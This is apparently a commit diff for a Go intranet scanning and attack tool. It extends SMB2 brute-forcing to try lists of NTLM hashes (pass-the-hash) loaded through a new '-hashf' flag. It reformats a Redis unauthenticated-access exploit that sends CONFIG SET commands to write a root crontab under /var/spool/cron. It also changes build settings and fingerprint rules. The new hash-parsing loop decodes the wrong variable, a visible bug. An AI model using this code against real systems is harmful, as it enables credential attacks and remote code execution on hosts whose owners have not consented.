Update release.yml

.github/workflows/release.yml

@@ -21,7 +21,7 @@ jobs:
       - name: "Set up Go"
         uses: actions/setup-go@v4
         with:
-          go-version: 1.21.x
+          go-version: 1.20.14
       -
         name: Install UPX
         uses: crazy-max/ghaction-upx@v3
@@ -37,7 +37,7 @@ jobs:
         with:
           distribution: goreleaser
           version: latest
-          args: "release --clean --debug -f .github/conf/.goreleaser.yml"
+          args: "release --clean -f .github/conf/.goreleaser.yml"
           workdir: .
         env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Plugins/redis.go

@@ -118,6 +118,9 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
 }
 
 func Expoilt(realhost string, conn net.Conn) error {
+	if common.Noredistest {
+		return nil
+	}
 	flagSsh, flagCron, err := testwrite(conn)
 	if err != nil {
 		return err
@@ -221,26 +224,26 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 
 func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 	flag = false
-    	// 尝试写入Ubuntu的路径
+	// 尝试写入Ubuntu的路径
-    	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
+	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
-    	if err != nil {
-		return flag, text, err
-    	}
-    	text, err = readreply(conn)
 	if err != nil {
 		return flag, text, err
 	}
-    	if !strings.Contains(text, "OK") {
+	text, err = readreply(conn)
+	if err != nil {
+		return flag, text, err
+	}
+	if !strings.Contains(text, "OK") {
 		// 如果没有返回"OK"，可能是CentOS，尝试CentOS的路径
 		_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
 		if err != nil {
-	    		return flag, text, err
+			return flag, text, err
 		}
 		text, err = readreply(conn)
 		if err != nil {
-	    		return flag, text, err
+			return flag, text, err
 		}
-    	}
+	}
 	if strings.Contains(text, "OK") {
 		_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
 		if err != nil {

Plugins/smb2.go

@@ -17,51 +17,97 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
 	}
 	hasprint := false
 	starttime := time.Now().Unix()
-	hash := common.HashBytes
+	if len(common.HashBytes) > 0 {
-	for _, user := range common.Userdict["smb"] {
+		for _, user := range common.Userdict["smb"] {
-	PASS:
+			for _, hash := range common.HashBytes {
-		for _, pass := range common.Passwords {
+				pass := ""
-			pass = strings.Replace(pass, "{user}", user, -1)
+				flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
-			flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
+				if flag2 {
-			if flag2 {
+					hasprint = true
-				hasprint = true
-			}
-			if flag == true {
-				var result string
-				if common.Domain != "" {
-					result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
-				} else {
-					result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
 				}
-				if len(hash) > 0 {
+				if flag == true {
-					result += "hash: " + common.Hash
+					var result string
+					if common.Domain != "" {
+						result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
+					} else {
+						result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
+					}
+					if len(hash) > 0 {
+						result += "hash: " + common.Hash
+					} else {
+						result += pass
+					}
+					common.LogSuccess(result)
+					return err
 				} else {
-					result += pass
+					var errlog string
+					if len(common.Hash) > 0 {
+						errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
+					} else {
+						errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
+					}
+					errlog = strings.Replace(errlog, "\n", " ", -1)
+					common.LogError(errlog)
+					tmperr = err
+					if common.CheckErrs(err) {
+						return err
+					}
+					if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) {
+						return err
+					}
 				}
-				common.LogSuccess(result)
-				return err
-			} else {
-				var errlog string
 				if len(common.Hash) > 0 {
-					errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
+					break
-				} else {
-					errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
-				}
-				errlog = strings.Replace(errlog, "\n", " ", -1)
-				common.LogError(errlog)
-				tmperr = err
-				if common.CheckErrs(err) {
-					return err
-				}
-				if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
-					return err
 				}
 			}
-			if len(common.Hash) > 0 {
+		}
-				break PASS
+	} else {
+		for _, user := range common.Userdict["smb"] {
+			for _, pass := range common.Passwords {
+				pass = strings.Replace(pass, "{user}", user, -1)
+				hash := []byte{}
+				flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
+				if flag2 {
+					hasprint = true
+				}
+				if flag == true {
+					var result string
+					if common.Domain != "" {
+						result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
+					} else {
+						result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
+					}
+					if len(hash) > 0 {
+						result += "hash: " + common.Hash
+					} else {
+						result += pass
+					}
+					common.LogSuccess(result)
+					return err
+				} else {
+					var errlog string
+					if len(common.Hash) > 0 {
+						errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
+					} else {
+						errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
+					}
+					errlog = strings.Replace(errlog, "\n", " ", -1)
+					common.LogError(errlog)
+					tmperr = err
+					if common.CheckErrs(err) {
+						return err
+					}
+					if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
+						return err
+					}
+				}
+				if len(common.Hash) > 0 {
+					break
+				}
 			}
 		}
 	}
+
 	return tmperr
 }
 

Plugins/webtitle.go

@@ -25,7 +25,12 @@ func WebTitle(info *common.HostInfo) error {
 	}
 	err, CheckData := GOWebTitle(info)
 	info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
-
+	//不扫描打印机,避免打纸
+	for _, v := range info.Infostr {
+		if v == "打印机" {
+			return nil
+		}
+	}
 	if !common.NoPoc && err == nil {
 		WebScan.WebScan(info)
 	} else {

WebScan/info/rules.go

@@ -17,7 +17,7 @@ type PocData struct {
 }
 
 var RuleDatas = []RuleData{
-	{"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
+	{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
 	{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
 	{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
 	{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
@@ -55,7 +55,7 @@ var RuleDatas = []RuleData{
 	{"Yundun", "headers", "(YUNDUN)"},
 	{"Yunsuo", "headers", "(yunsuo)"},
 	{"Coding pages", "header", "(Coding Pages)"},
-	{"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
+	{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
 	{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
 	{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
 	{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},

common/Parse.go

@@ -66,6 +66,21 @@ func ParsePass(Info *HostInfo) {
 			Passwords = PwdList
 		}
 	}
+	if Hashfile != "" {
+		hashs, err := Readfile(Hashfile)
+		if err == nil {
+			for _, line := range hashs {
+				if line == "" {
+					continue
+				}
+				if len(line) == 32 {
+					Hashs = append(Hashs, line)
+				} else {
+					fmt.Println("[-] len(hash) != 32 " + line)
+				}
+			}
+		}
+	}
 	if URL != "" {
 		urls := strings.Split(URL, ",")
 		TmpUrls := make(map[string]struct{})
@@ -205,13 +220,19 @@ func ParseInput(Info *HostInfo) {
 		fmt.Println("[-] Hash is error,len(hash) must be 32")
 		os.Exit(0)
 	} else {
-		var err error
+		Hashs = append(Hashs, Hash)
-		HashBytes, err = hex.DecodeString(Hash)
+	}
+	Hashs = RemoveDuplicate(Hashs)
+	for _, hash := range Hashs {
+		hashbyte, err := hex.DecodeString(Hash)
 		if err != nil {
-			fmt.Println("[-] Hash is error,hex decode error")
+			fmt.Println("[-] Hash is error,hex decode error ", hash)
-			os.Exit(0)
+			continue
+		} else {
+			HashBytes = append(HashBytes, hashbyte)
 		}
 	}
+	Hashs = []string{}
 }
 
 func ParseScantype(Info *HostInfo) {

common/config.go

@@ -103,6 +103,7 @@ var (
 	RedisShell  string
 	Userfile    string
 	Passfile    string
+	Hashfile    string
 	HostFile    string
 	PortFile    string
 	PocPath     string
@@ -120,7 +121,8 @@ var (
 	LiveTop     int
 	Socks5Proxy string
 	Hash        string
-	HashBytes   []byte
+	Hashs       []string
+	HashBytes   [][]byte
 	HostPort    []string
 	IsWmi       bool
 	Noredistest bool

common/flag.go

@@ -38,6 +38,7 @@ func Flag(Info *HostInfo) {
 	flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
 	flag.StringVar(&Userfile, "userf", "", "username file")
 	flag.StringVar(&Passfile, "pwdf", "", "password file")
+	flag.StringVar(&Hashfile, "hashf", "", "hash file")
 	flag.StringVar(&PortFile, "portf", "", "Port File")
 	flag.StringVar(&PocPath, "pocpath", "", "poc file path")
 	flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")

go.mod

@@ -12,7 +12,7 @@ require (
 	github.com/jlaffaye/ftp v0.2.0
 	github.com/lib/pq v1.10.9
 	github.com/satori/go.uuid v1.2.0
-	github.com/sijms/go-ora/v2 v2.8.17
+	github.com/sijms/go-ora/v2 v2.5.29
 	github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
 	github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
 	golang.org/x/crypto v0.3.0

go.sum

@@ -212,8 +212,8 @@ github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxr
 github.com/shurcooL/httpfs v0.0.0-20190707220628-8d4bc4ba7749/go.mod h1:ZY1cvUeJuFPAdZ/B6v7RHavJWZn2YPVFQ1OSXhCGOkg=
 github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
 github.com/shurcooL/vfsgen v0.0.0-20200824052919-0d455de96546/go.mod h1:TrYk7fJVaAttu97ZZKrO9UbRa8izdowaMIZcxYMbVaw=
-github.com/sijms/go-ora/v2 v2.8.17 h1:aTCyptTMgiyxGYkz6/qZptfSwYXCbETx93uanOgByO4=
+github.com/sijms/go-ora/v2 v2.5.29 h1:ZSaeQM0Jn+r3XcIajk1YJk3Rx8fmt9eso6QQ73IZM6E=
-github.com/sijms/go-ora/v2 v2.8.17/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk=
+github.com/sijms/go-ora/v2 v2.5.29/go.mod h1:EHxlY6x7y9HAsdfumurRfTd+v8NrEOTR3Xl4FWlH6xk=
 github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
 github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
 github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=